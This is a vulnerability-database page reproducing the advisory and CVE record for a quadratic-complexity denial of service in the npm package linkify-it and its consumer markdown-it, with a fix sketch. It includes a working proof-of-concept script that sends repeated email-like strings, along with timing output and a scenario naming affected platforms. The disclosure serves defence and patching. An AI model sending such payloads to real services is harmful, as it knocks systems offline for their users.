Vulnerability-Lookup

GHSA-22P9-WV53-3RQ4

Vulnerability from github – Published: 2026-06-26 20:47 – Updated: 2026-06-26 20:47

Summary

LinkifyIt#match scan loop has quadratic algorithmic complexity

Details

Summary

LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.

64 KB of "a@b.com\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).

The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.

Affected component

HEAD audited: 8e887d5bace3f5b09b1d1f70492fa0364ef1793d (v5.0.0)
Vulnerable function: LinkifyIt.prototype.match — index.mjs:528-554
Re-scan call sites inside test(): index.mjs:444 (fuzzy host search), :448 (fuzzy link match), :467 (fuzzy email match)
Transitive consumer: markdown-it (~21.6M weekly npm DLs) calls linkify.match() at lib/rules_core/linkify.mjs:57 when linkify:true
All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0

Vulnerability details

The O(N²) outer loop

index.mjs:528-554:

LinkifyIt.prototype.match = function match (text) {
  const result = []
  let shift = 0
  let tail = shift ? text.slice(shift) : text

  while (this.test(tail)) {
    result.push(createMatch(this, shift))
    tail = tail.slice(this.__last_index__)   // <-- re-allocates remaining tail each iteration
    shift += this.__last_index__
  }

  if (result.length) return result
  return null
}

The loop iterates O(N) times (once per match). Each iteration: 1. tail.slice() re-allocates a string of length |text| - shift — O(N) per iteration 2. this.test(tail) runs three unanchored regex searches over the full new tail:

// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)

Total cost: Σ(N - i*c) for i=0..N = O(N²).

Contrast with the linear schema branch

The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:

re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }

That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.

Proof of concept

mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install linkify-it@5.0.0

cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
  const evil = 'a@b.com\n'.repeat(n)
  const t0 = process.hrtime.bigint()
  l.match(evil)
  const ms = Number(process.hrtime.bigint() - t0) / 1e6
  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs

Measured output (Node v25.5.0, Apple Silicon)

n=1000  bytes=8000    took 44 ms
n=2000  bytes=16000   took 159 ms
n=4000  bytes=32000   took 628 ms
n=8000  bytes=64000   took 2506 ms
n=16000 bytes=128000  took 9948 ms

Doubling N → ~4× wall-clock, consistent with O(N²).

markdown-it transitive (independently confirmed)

npm install markdown-it@14.1.1
node -e "
  const md = require('markdown-it')({ linkify: true })
  for (const n of [1000, 2000, 4000, 8000]) {
    const evil = 'a@b.com '.repeat(n)
    const t0 = process.hrtime.bigint()
    md.render(evil)
    const ms = Number(process.hrtime.bigint() - t0) / 1e6
    console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
  }
"

n=1000 bytes=8000   md.render=45ms
n=2000 bytes=16000  md.render=171ms
n=4000 bytes=32000  md.render=672ms
n=8000 bytes=64000  md.render=2636ms

Same quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().

Impact

Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.
No confidentiality or integrity impact.

Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of "a@b.com ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.

Suggested remediation

The fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:

Add the g flag to email_fuzzy, link_fuzzy, link_no_ip_fuzzy, host_fuzzy_test in lib/re.mjs
Rewrite test() (or add testAt(text, pos)) so fuzzy branches set re.lastIndex = pos and call re.exec(text) instead of text.match()/text.search() on a sliced tail
In match(), drop tail = tail.slice(...) entirely — advance a pos offset instead

The schema branch at index.mjs:428-440 is already structured this way — it's the in-repo precedent for the fix.

// proposed sketch
LinkifyIt.prototype.match = function match (text) {
  const result = []
  let pos = 0
  while (this.testAt(text, pos)) {
    result.push(createMatch(this, 0))
    pos = this.__last_index__
  }
  return result.length ? result : null
}

Total cost becomes O(N): each character scanned at most once per regex across the whole loop.

Duplicate-risk analysis

Zero GHSAs on linkify-it (gh api /repos/markdown-it/linkify-it/security-advisories → [])
Zero OSV entries (api.osv.dev/v1/query → {})
markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline

This finding appears novel.

Note to maintainers

Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "linkify-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T20:47:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`LinkifyIt.prototype.match` \u2014 the package\u0027s primary public API \u2014 has **O(N\u00b2) algorithmic complexity** for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it\u0027s a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.\n\n64 KB of `\"a@b.com\\n\"` repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time \u2014 textbook O(N\u00b2).\n\nThe same cost passes through `markdown-it` (`linkify:true`) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.\n\n## Affected component\n\n- HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0)\n- Vulnerable function: `LinkifyIt.prototype.match` \u2014 `index.mjs:528-554`\n- Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host search), `:448` (fuzzy link match), `:467` (fuzzy email match)\n- Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls `linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true`\n- **All versions affected** \u2014 the vulnerable loop exists since the initial commit (2014) through v5.0.0\n\n## Vulnerability details\n\n### The O(N\u00b2) outer loop\n\n`index.mjs:528-554`:\n\n```js\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let shift = 0\n  let tail = shift ? text.slice(shift) : text\n\n  while (this.test(tail)) {\n    result.push(createMatch(this, shift))\n    tail = tail.slice(this.__last_index__)   // \u003c-- re-allocates remaining tail each iteration\n    shift += this.__last_index__\n  }\n\n  if (result.length) return result\n  return null\n}\n```\n\nThe loop iterates O(N) times (once per match). Each iteration:\n1. `tail.slice()` re-allocates a string of length `|text| - shift` \u2014 O(N) per iteration\n2. `this.test(tail)` runs three unanchored regex searches over the full new `tail`:\n\n```js\n// index.mjs:444 \u2014 full-tail search\ntld_pos = text.search(this.re.host_fuzzy_test)\n// index.mjs:448 \u2014 full-tail match\nml = text.match(this.re.link_fuzzy)\n// index.mjs:467 \u2014 full-tail match\nme = text.match(this.re.email_fuzzy)\n```\n\nTotal cost: `\u03a3(N - i*c) for i=0..N = O(N\u00b2)`.\n\n### Contrast with the linear schema branch\n\nThe schema-prefixed scan in the same `test()` function does it correctly at `index.mjs:428-440`:\n\n```js\nre = this.re.schema_search\nre.lastIndex = 0\nwhile ((m = re.exec(text)) !== null) { ... }\n```\n\nThat branch uses a `g`-flag RegExp and advances `lastIndex` \u2014 linear. The fuzzy branches don\u0027t follow this pattern.\n\n## Proof of concept\n\n```bash\nmkdir /tmp/linkifyit-redos \u0026\u0026 cd /tmp/linkifyit-redos\nnpm install linkify-it@5.0.0\n\ncat \u003e poc.mjs \u003c\u003c\u0027EOF\u0027\nimport LinkifyIt from \u0027linkify-it\u0027\nconst l = new LinkifyIt()\nfor (const n of [1000, 2000, 4000, 8000, 16000]) {\n  const evil = \u0027a@b.com\\n\u0027.repeat(n)\n  const t0 = process.hrtime.bigint()\n  l.match(evil)\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6\n  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)\n}\nEOF\nnode poc.mjs\n```\n\n### Measured output (Node v25.5.0, Apple Silicon)\n\n```\nn=1000  bytes=8000    took 44 ms\nn=2000  bytes=16000   took 159 ms\nn=4000  bytes=32000   took 628 ms\nn=8000  bytes=64000   took 2506 ms\nn=16000 bytes=128000  took 9948 ms\n```\n\nDoubling N \u2192 ~4\u00d7 wall-clock, consistent with O(N\u00b2).\n\n### markdown-it transitive (independently confirmed)\n\n```bash\nnpm install markdown-it@14.1.1\nnode -e \"\n  const md = require(\u0027markdown-it\u0027)({ linkify: true })\n  for (const n of [1000, 2000, 4000, 8000]) {\n    const evil = \u0027a@b.com \u0027.repeat(n)\n    const t0 = process.hrtime.bigint()\n    md.render(evil)\n    const ms = Number(process.hrtime.bigint() - t0) / 1e6\n    console.log(\u0027n=\u0027 + n + \u0027 bytes=\u0027 + evil.length + \u0027 md.render=\u0027 + ms.toFixed(0) + \u0027ms\u0027)\n  }\n\"\n```\n\n```\nn=1000 bytes=8000   md.render=45ms\nn=2000 bytes=16000  md.render=171ms\nn=4000 bytes=32000  md.render=672ms\nn=8000 bytes=64000  md.render=2636ms\n```\n\nSame quadratic curve. 64 KB is enough to burn 2.6 s in `markdown-it.render()`.\n\n## Impact\n\n- **Availability (High)**: A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.\n- No confidentiality or integrity impact.\n\n**Real-world scenario**: Any service that renders untrusted Markdown with `linkify:true` on the request path \u2014 Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it \u2014 receives a post/comment containing 64 KB of `\"a@b.com \"`. The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.\n\n## Suggested remediation\n\nThe fix is algorithmic \u2014 convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:\n\n1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`, `host_fuzzy_test` in `lib/re.mjs`\n2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set `re.lastIndex = pos` and call `re.exec(text)` instead of `text.match()`/`text.search()` on a sliced tail\n3. In `match()`, drop `tail = tail.slice(...)` entirely \u2014 advance a `pos` offset instead\n\nThe schema branch at `index.mjs:428-440` is already structured this way \u2014 it\u0027s the in-repo precedent for the fix.\n\n```js\n// proposed sketch\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let pos = 0\n  while (this.testAt(text, pos)) {\n    result.push(createMatch(this, 0))\n    pos = this.__last_index__\n  }\n  return result.length ? result : null\n}\n```\n\nTotal cost becomes O(N): each character scanned at most once per regex across the whole loop.\n\n## Duplicate-risk analysis\n\n- Zero GHSAs on `linkify-it` (`gh api /repos/markdown-it/linkify-it/security-advisories` \u2192 `[]`)\n- Zero OSV entries (`api.osv.dev/v1/query` \u2192 `{}`)\n- markdown-it\u0027s only GHSA (CVE-2022-21670, \"Possible ReDOS in newline rule\") targets markdown-it\u0027s own newline regex, not the linkify pipeline\n\nThis finding appears novel.\n\n## Note to maintainers\n\nSince `markdown-it` is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched `linkify-it` release should be paired with a `markdown-it` minor that pins the new minimum version.",
  "id": "GHSA-22p9-wv53-3rq4",
  "modified": "2026-06-26T20:47:58Z",
  "published": "2026-06-26T20:47:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/markdown-it/linkify-it"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LinkifyIt#match scan loop has quadratic algorithmic complexity"
}

CVE-2026-48801 (GCVE-0-2026-48801)

Vulnerability from cvelistv5 – Published: 2026-07-14 20:03 – Updated: 2026-07-15 12:56

Title

linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop

Summary

linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-1333 - Inefficient Regular Expression Complexity

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/markdown-it/linkify-it/securit…	x_refsource_CONFIRM
https://github.com/markdown-it/linkify-it/commit/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
markdown-it	linkify-it	Affected: < 5.0.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-48801",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T12:56:10.402451Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T12:56:15.250Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "linkify-it",
          "vendor": "markdown-it",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package\u0027s primary public API, has O(N\u00b2) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1333",
              "description": "CWE-1333: Inefficient Regular Expression Complexity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-14T20:03:56.430Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4"
        },
        {
          "name": "https://github.com/markdown-it/linkify-it/commit/6be6d15e0641bf1daeaa977d500cabc743166159",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/markdown-it/linkify-it/commit/6be6d15e0641bf1daeaa977d500cabc743166159"
        }
      ],
      "source": {
        "advisory": "GHSA-22p9-wv53-3rq4",
        "discovery": "UNKNOWN"
      },
      "title": "linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-48801",
    "datePublished": "2026-07-14T20:03:56.430Z",
    "dateReserved": "2026-05-22T20:18:20.367Z",
    "dateUpdated": "2026-07-15T12:56:15.250Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-22P9-WV53-3RQ4

Summary

Affected component

Vulnerability details

The O(N²) outer loop

Contrast with the linear schema branch

Proof of concept

Measured output (Node v25.5.0, Apple Silicon)

markdown-it transitive (independently confirmed)

Impact

Suggested remediation

Duplicate-risk analysis

Note to maintainers

CVE-2026-48801 (GCVE-0-2026-48801)

Tags

Sightings

Nomenclature